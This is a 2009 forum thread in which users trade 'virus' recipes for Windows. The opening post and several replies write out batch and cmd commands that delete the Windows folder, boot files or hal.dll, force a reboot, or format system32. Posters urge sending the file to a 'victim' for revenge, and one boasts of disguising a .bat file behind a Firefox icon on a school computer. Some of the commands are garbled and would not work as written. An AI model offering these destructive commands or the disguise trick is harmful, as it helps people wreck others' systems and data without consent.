Yota - May 15, 2009, 10:21 am

a friend of mine told me how to make one. here's how to make one:

yea.. so ere we go lol. this is an easy way to make a virus but very dangerous virus, Be sure that you read the whole TUT before attemptin this, lol dont blame me if u got it working on your computer!

First of all Open your notepad and type the following..... del c:\boot?ini c:\del autoexec.bat Now Save as anyone.exe. Create this in C: drive

The only thing you need is Notepad.

- 1 Create a text file called TEST.txt(empty) in C:\
- 2 Now in your notepad type "erase C:\TEST.txt" (without the quotes). Then save it as "Test.cmd".
- 3 Now run the file "Test.cmd" go to C:\ and you'll see your Test.txt is gone.

Now, the real work :

- 1 Go to Notepad and type erase C:\WINDOWS and save it as findoutaname.cmd.
- 2 Now DON'T Run the file or you'll lose your WINDOWS map.

So, that's the Virus. In this way you can make a virus to delete any file you want.

Now to take revenge. Send you file to your victim. Once victim opens it. WINDOWS map is Deleted. And he will have to install WINDOWS again.

Beware : Its simple but a strong virus that can delete anyones Windows OS ...

Note : I am not Taking any Responsibilities if by this you damage your windows

Now go fuck your friends with this. ?

eXaByte - May 15, 2009, 10:39 am

or you can just type

Code @del C:\windows\system32\hal.dll

@shutdown -r -f -t 00 in a bat file ?

Romeo. - May 15, 2009, 10:42 am

@echo off

format C:\windows\system32

lol...

format C:\windows\system32

lol...this will ask for permission and mine will kill it in a second :P

MOOSA - May 15, 2009, 10:55 am

anonymus, u try first k and let me know the result.

I just made a .bat file, savd it in c drive..create shortcut with the mozilla firefox icon.. Nd ran away like the wind(lol xD).. . Next thng u knw their window isnt startin..lol! Bt this i usd to 4-5 years bk... I even did it with my skool lab admin's comp.. Twice.. Hehe...bt nw thts oldskool!. Lol.

H3LL - May 15, 2009, 11:24 am

i wonder how do you delete them without agreeing with the code Y/N: Y

since you need to do a confirmation can i know how you did that??? =) you must be joking =)

eXaByte - May 15, 2009, 11:34 am

dude he is the biggest H4cSor!!!

Yota - May 15, 2009, 12:13 pm

that i am my friend that i am..

Hehe..j/k im learnin for now..

Xx1232shooterxX - May 15, 2009, 4:23 pm

lol, never seen anyone do it that way.

eXaByte - May 15, 2009, 4:31 pm

This tutorial is so complex that i can't take it in my mind o.O!!!
